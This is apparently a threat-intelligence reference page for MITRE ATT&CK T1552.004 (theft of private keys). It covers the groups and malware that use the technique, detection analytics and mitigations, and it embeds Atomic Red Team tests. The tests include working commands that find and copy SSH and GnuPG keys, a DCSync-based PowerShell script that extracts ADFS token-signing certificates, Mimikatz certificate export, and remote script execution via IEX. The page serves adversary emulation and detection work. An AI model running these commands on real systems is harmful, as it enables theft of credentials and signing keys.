tfMITRE ATT&CK sub-technique

Private Keys T1552.004

sub-technique of T1552 Unsecured Credentials

Tactic: Credential Access
Platforms: Linux, macOS, Network Devices, Windows
Version: 1.3
Created: 04 February 2020
Last modified: 12 May 2026
Contributors: Itzik Kotler, SafeBreach; Austin Clark, @c2defense

Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.[1] Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 23%

Threat groups77th percentile · 77% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsTop 17%

Campaigns83rd percentile · 83% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malwareTop 22%

Tools & malware78th percentile · 78% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesTop 19%

Detection rules81st percentile · 81% of ATT&CK techniques have this many detection rules written or fewer.

Private Keys MITRE reference T1552.004

Top 23%of all ATT&CK techniques for number of groups

7 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

TeamPCPG1056 ↗

Has used malware to extract SSH and GPG keys from victim environments.1 2 3

created 2026-07-163 referencesaka PCPCat

Storm-0501G1053 ↗

Has leveraged the Azure Owner role to access and steal the Storage Account Access keys using the Microsoft.Storage/storageAccounts/listkeys/action operation.1

created 2025-10-191 reference

Volt TyphoonG1017 ↗

Has accessed a Local State file that contains the AES key used to encrypt passwords stored in the Chrome browser.1

created 2023-07-271 referenceaka BRONZE SILHOUETTE

Scattered SpiderG1015 ↗

Enumerate and exfiltrate code-signing certificates from a compromised host.1

created 2023-07-051 referenceaka Roasted 0ktapus

TeamTNTG0139 ↗

Has searched for unsecured SSH keys.1 2

created 2021-10-012 references

RockeG0106 ↗

Has used SSH private keys on the infected machine to spread its coinminer throughout a network.1

created 2020-05-261 reference

All 7 groups for this technique · 6 newest in this preview

14 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

Mini Shai-HuludS9043 ↗

Has gathered unsecured credentials to include SSH private keys within .ssh.1 2 3

created 2026-07-29MALWAREcarried by 1 group

CanisterWormS9042 ↗

Has gathered SSH private keys from the .ssh file.1

created 2026-07-24MALWAREcarried by 1 group

TeamPCP Cloud StealerS9041 ↗

Has searched victim hosts for TLS and SSH keys.1 2 3 4

created 2026-07-01MALWAREcarried by 1 group

Troll StealerS1196 ↗

Collects all data in victim .ssh folders by creating a compressed copy that is subsequently exfiltrated to command and control infrastructure. Troll Stealer also collects key information associated with the Government Public Key Infrastructure (GPKI) service for South Korean government information systems.1 2

created 2025-01-17MALWAREcarried by 1 group

MafaldaS1060 ↗

Can collect a Chrome encryption key used to protect browser cookies.1

created 2023-01-26MALWAREcarried by 1 group

AADInternalsS0677 ↗

Can gather encryption keys from Azure AD services such as ADSync and Active Directory Federated Services servers.1

created 2022-02-01TOOLcarried by 2 groups

All 14 software entries for this technique · 6 newest in this preview

Offense vs defense T1552.004

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 2Sigma rules (cumulative) · 7Splunk ESCU (cumulative) · 6

first rule: 2019 Q3 · 2 of 2 campaigns plotted

Private Keys detection strategy DET0549

MITRE names one behaviour worth catching for this technique and breaks it into 4 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detect Suspicious Access to Private Key Files and Export Attempts Across Platforms

Enterprise

4 platforms

AN1516 · Windows

A process (non-system or user-initiated) accesses private key files in user profile paths or system certificate stores followed by potential network connections or compression activity.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
File CreationDC0039	WinEventLog:Sysmon	EventCode=11
Network Share AccessDC0102	WinEventLog:Security	EventCode=5145

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
FilePathRegex	Regex for matching key file extensions (.pem, .pfx, .ppk, etc.) or known certificate directories like C:\Users\*\.ssh\
ParentProcessName	Set of known benign certificate management tools to exclude (e.g., certutil.exe, ssh.exe)

AN1517 · Linux

User or script-based access to ~/.ssh or other directories containing private keys followed by unusual shell activity or network connections.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	auditd:EXECVE	execve
File AccessDC0055	auditd:SYSCALL	openat

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
FilePathRegex	Directory/file path regex for ~/.ssh, .pem, .key, *.p12
CommandLineMatch	Script or user agent seen accessing keys (e.g., cat ~/.ssh/id_rsa, tar ~/.gnupg)

AN1518 · macOS

Access to user private key directories (e.g., /Users/*/.ssh) via Terminal, scripting engines, or non-default processes.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	macos:unifiedlog	launch of bash/zsh/python/osascript targeting key file locations
File AccessDC0055	macos:unifiedlog	open/read access to private key files (id_rsa, .pem, .p12)

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ProcessName	Processes reading key files (osascript, python, bash, etc.)
FileAccessPath	Private key and certificate paths like /Users/*/.ssh, /Library/Keychains/

AN1519 · Network Devices

CLI-based export of private key material (e.g., 'crypto pki export') with anomalous user session or AAA role escalation.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Command ExecutionDC0064	networkdevice:syslog	Detected CLI command to export key material

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
CLICommandMatch	Regex for export commands (e.g., crypto pki export, export ssh-key)
AAAUserContext	Source username or role performing export — may tune for known admins

AuditM1047

Ensure only authorized keys are allowed access to critical resources and audit access lists regularly.

Encrypt Sensitive InformationM1041

When possible, store keys on separate cryptographic hardware instead of on the local system. For example, on Windows systems use a TPM to secure keys and other sensitive credential material.

Password PoliciesM1027

Use strong passphrases for private keys to make cracking difficult.

Restrict File and Directory PermissionsM1022

Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Additionally, on Cisco devices, set the nonexportable flag during RSA key pair generation.

Tests14Executorssh 7 · PowerShell 5 · cmd 2Need elevation5 of 14Have prerequisites6Have cleanup12Platformswindows, linux, macos

# Test Platform Executor Elevation Prereqs Cleanup Ref

01 Private Keys windows cmd Required — —

Find private keys on the Windows file system. File extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc

Attack command

dir c:\ /b /s .key | findstr /e .key

GUIDc1de31d8-0c71-4f67-a0ea-197adb0a66da

02 Discover Private SSH Keys linux, macos sh — — Yes

Discover private SSH keys on a FreeBSD, macOS or Linux system.

Input arguments

Name	Type	Default	Description
output_file	path	/tmp/keyfile_locations.txt	Output file containing locations of SSH key files
search_path	path	/	Path where to start searching from.

Attack command

find #{search_path} -name id_rsa 2>/dev/null >> #{output_file}
exit 0

Cleanup command

rm #{output_file}

GUID612cc1a7-5b9f-46c2-a828-4810138bf2f1

03 Copy Private SSH Keys with CP linux sh — — Yes

Copy private SSH keys on a Linux system to a staging folder using the cp command.

Input arguments

Name	Type	Default	Description
search_path	path	/	Path where to start searching from.
output_folder	path	/tmp/art-staging	Output folder containing copies of SSH private key files

Attack command

mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec cp --parents {} #{output_folder} \;
exit 0

Cleanup command

rm -rf #{output_folder}

GUID45094628-ae3d-48dc-80a4-487ec57d70c0

04 Copy Private SSH Keys with CP (freebsd) linux sh — 1 Yes

Copy private SSH keys on a FreeBSD system to a staging folder using the cp command.

Input arguments

Name	Type	Default	Description
search_path	path	/	Path where to start searching from.
output_folder	path	/tmp/art-staging	Output folder containing copies of SSH private key files

Attack command

mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec gcp --parents {} #{output_folder} \;

Cleanup command

rm -rf #{output_folder}

Prerequisite

Install GNU cp from coreutils package.

Check

if [ ! -x "$(command -v gcp)" ]; then exit 1; else exit 0; fi;

Satisfy

(which pkg && pkg install -y coreutils)

GUID540247ec-fb5c-46c9-bbb6-c22d348ce2d0

05 Copy Private SSH Keys with rsync macos, linux sh — — Yes

Copy private SSH keys on a Linux or macOS system to a staging folder using the rsync command.

Input arguments

Name	Type	Default	Description
search_path	path	/	Path where to start searching from.
output_folder	path	/tmp/art-staging	Output folder containing copies of SSH private key files

Attack command

mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \;
exit 0

Cleanup command

rm -rf #{output_folder}

GUID0348e994-4d75-46d3-b100-725ed9a222c9

06 Copy Private SSH Keys with rsync (freebsd) linux sh — 1 Yes

Copy private SSH keys on a FreeBSD system to a staging folder using the rsync command.

Input arguments

Name	Type	Default	Description
search_path	path	/	Path where to start searching from.
output_folder	path	/tmp/art-staging	Output folder containing copies of SSH private key files

Attack command

mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \;

Cleanup command

rm -rf #{output_folder}

Prerequisite

Check if rsync is installed.

Check

if [ ! -x "$(command -v rsync)" ]; then exit 1; else exit 0; fi;

Satisfy

(which pkg && pkg install -y rsync)

GUID16713046-d8d4-4154-8f5c-829f9dbba674

07 Copy the users GnuPG directory with rsync macos, linux sh — — Yes

Copy the users GnuPG (.gnupg) directory on a Mac or Linux system to a staging folder using the rsync command.

Input arguments

Name	Type	Default	Description
search_path	path	/	Path where to start searching from
output_folder	path	/tmp/GnuPG	Output folder containing a copy of the .gnupg directory

Attack command

mkdir #{output_folder}
find #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \;
exit 0

Cleanup command

rm -rf #{output_folder}

GUID5fa2013a-13b4-4171-9cb8-ca0f3c08bf70

08 Copy the users GnuPG directory with rsync (freebsd) linux sh — 1 Yes

Copy the users GnuPG (.gnupg) directory on a FreeBSD system to a staging folder using the rsync command.

Input arguments

Name	Type	Default	Description
search_path	path	/	Path where to start searching from
output_folder	path	/tmp/GnuPG	Output folder containing a copy of the .gnupg directory

Attack command

mkdir #{output_folder}
find #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \;

Cleanup command

rm -rf #{output_folder}

Prerequisite

Check if rsync is installed.

Check

if [ ! -x "$(command -v rsync)" ]; then exit 1; else exit 0; fi;

Satisfy

(which pkg && pkg install -y rsync)

GUID0a7bf421-018c-4be1-b61b-fc5f60172e5d

09 ADFS token signing and encryption certificates theft - Local windows PowerShell — 1 Yes

Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as Administrator on an ADFS server. Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.

Attack command

Import-Module AADInternals -Force
Export-AADIntADFSCertificates
Get-ChildItem | Where-Object {$_ -like "ADFS*"}
Write-Host "`nCertificates retrieved successfully"

Cleanup command

Remove-Item -Path ".\ADFS_encryption.pfx" -ErrorAction Ignore
Remove-Item -Path ".\ADFS_signing.pfx" -ErrorAction Ignore

Prerequisite

AADInternals module must be installed.

Check

if (Get-Module AADInternals) {exit 0} else {exit 1}

Satisfy

Install-Module -Name AADInternals -Force

GUID2ccc9827-566f-4193-a375-7dde1f43bf99

10 ADFS token signing and encryption certificates theft - Remote windows PowerShell — 1 Yes

Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as a Domain Administrators user on a domain-joined computer. Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.

Input arguments

Name	Type	Default	Description
adfs_server_name	string	sts.contoso.com	Name of an ADFS server
replication_user	string	Administrator	Username with replication rights. It can be the Domain Admin running the script
replication_password	string	ReallyStrongPassword	Password of replication_username
adfs_service_account_name	string	adfs_svc	Name of the ADFS service account

Attack command

Import-Module ActiveDirectory -Force 
Import-Module AADInternals -Force | Out-Null
#Get Configuration
$dcServerName = (Get-ADDomainController).HostName
$svc = Get-ADObject -filter * -Properties objectguid,objectsid | Where-Object name -eq "#{adfs_service_account_name}"
$PWord = ConvertTo-SecureString -String "#{replication_password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList #{replication_user}, $PWord
# use DCSync to fetch the ADFS service account's NT hash
$hash = Get-AADIntADUserNTHash -ObjectGuid $svc.ObjectGuid -Credentials $Credential -Server $dcServerName -AsHex
$ADFSConfig = Export-AADIntADFSConfiguration -Hash $hash -SID $svc.Objectsid.Value -Server #{adfs_server_name}
# Get certificates decryption key
$Configuration = [xml]$ADFSConfig
$group = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.Group
$container = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ContainerName
$parent = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ParentContainerDn
$base = "LDAP://CN=$group,$container,$parent"
$ADSearch = [System.DirectoryServices.DirectorySearcher]::new([System.DirectoryServices.DirectoryEntry]::new($base))
$ADSearch.Filter = '(name=CryptoPolicy)'
$ADSearch.PropertiesToLoad.Clear()
$ADSearch.PropertiesToLoad.Add("displayName") | Out-Null
$aduser = $ADSearch.FindOne()
$keyObjectGuid = $ADUser.Properties["displayName"] 
$ADSearch.PropertiesToLoad.Clear()
$ADSearch.PropertiesToLoad.Add("thumbnailphoto") | Out-Null
$ADSearch.Filter="(l=$keyObjectGuid)"
$aduser=$ADSearch.FindOne() 
$key=[byte[]]$aduser.Properties["thumbnailphoto"][0] 
# Get encrypted certificates from configuration and decrypt them
Export-AADIntADFSCertificates -Configuration $ADFSConfig -Key $key
Get-ChildItem | Where-Object {$_ -like "ADFS*"}
Write-Host "`nCertificates retrieved successfully"

Cleanup command

Remove-Item -Path ".\ADFS_encryption.pfx" -ErrorAction Ignore
Remove-Item -Path ".\ADFS_signing.pfx" -ErrorAction Ignore

Prerequisite

AADInternals and ActiveDirectory modules must be installed.

Check

if ($(Get-Module AADInternals) -or $(Get-Module -ListAvailable -Name ActiveDirectory)) {echo 0} else {echo 1}

Satisfy

Install-Module -Name AADInternals -Force

GUID5b40f9c6-ebe3-4fa2-b164-f2b0bda52242

11 CertUtil ExportPFX windows PowerShell Required — Yes

The following Atomic test simulates adding a generic non-malicious certificate to the Root certificate store. This behavior generates a registry modification that adds the cloned root CA certificate in the keys outlined in the blog. In addition, this Atomic utilizes CertUtil to export the PFX (ExportPFX), similar to what was seen in the Golden SAML attack. Keys will look like - \SystemCertificates\CA\Certificates or \SystemCertificates\Root\Certificates Reference: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec Reference: https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html

Input arguments

Name	Type	Default	Description
output	path	c:\temp\atomic.pfx	file path to export to
password	string	password	password for cert

Attack command

IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing) 
certutil.exe -p #{password} -exportPFX Root 1F3D38F280635F275BE92B87CF83E40E40458400 #{output}

Cleanup command

Get-ChildItem -Path Cert:\ -Recurse | Where-Object { $_.Thumbprint -eq '1F3D38F280635F275BE92B87CF83E40E40458400' } | remove-item

GUID89530e38-918c-407c-a651-7f7b80331ca8

12 Export Root Certificate with Export-PFXCertificate windows PowerShell Required — Yes

Creates a Root certificate and exports it with Export-PFXCertificate PowerShell Cmdlet. Upon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-PFXCertificate.

Input arguments

Name	Type	Default	Description
pfx_path	string	$env:Temp\atomicredteam.pfx	output path of the certificate

Attack command

$mypwd = ConvertTo-SecureString -String "AtomicRedTeam" -Force -AsPlainText
$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My
Set-Location Cert:\LocalMachine\My
Get-ChildItem -Path $cert.Thumbprint | Export-PfxCertificate -FilePath #{pfx_path} -Password $mypwd

Cleanup command

try {
$cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My
Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
} catch { }

GUID1531cb66-c20c-445d-b908-6925c8929070

13 Export Root Certificate with Export-Certificate windows PowerShell Required — Yes

Creates a Root certificate and exports it with Export-Certificate PowerShell Cmdlet. Upon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-Certificate.

Input arguments

Name	Type	Default	Description
pfx_path	path	$env:Temp\AtomicRedTeam.cer	Path of the certificate

Attack command

$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My
Set-Location Cert:\LocalMachine\My
Export-Certificate -Type CERT -Cert  Cert:\LocalMachine\My\$($cert.Thumbprint) -FilePath #{pfx_path}

Cleanup command

try {
   $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My -ErrorAction Ignore
   Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
   Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
}
catch { }

GUIDd307b824-621f-44c5-8003-ea7b49e542ad

14 Export Certificates with Mimikatz windows cmd Required 1 —

The following Atomic test will utilize Mimikatz to extract the certificates from the local system My store. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands. A successful attempt will stdout the certificates and write multiple .pfx and .der files to disk.

Input arguments

Name	Type	Default	Description
mimikatz_exe	string	PathToAtomicsFolder\..\ExternalPayloads\x64\mimikatz.exe	Path of the Mimikatz binary

Attack command

"#{mimikatz_exe}" "crypto::certificates /systemstore:local_machine /store:my /export"  exit

Prerequisite

Mimikatz must exist on disk at specified location (#{mimikatz_exe})

Check

if (Test-Path "#{mimikatz_exe}") {exit 0} else {exit 1}

Satisfy

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing) 
$releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"
$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(".zip") }
$basePath = Split-Path "#{mimikatz_exe}" | Split-Path
Invoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath

GUIDf01c5d99-778d-4c2b-8464-3322b70b970d

Tests from Atomic Red Team (MIT licence) · technique definition

Private Keys detections T1552.004

13 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 19%of all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs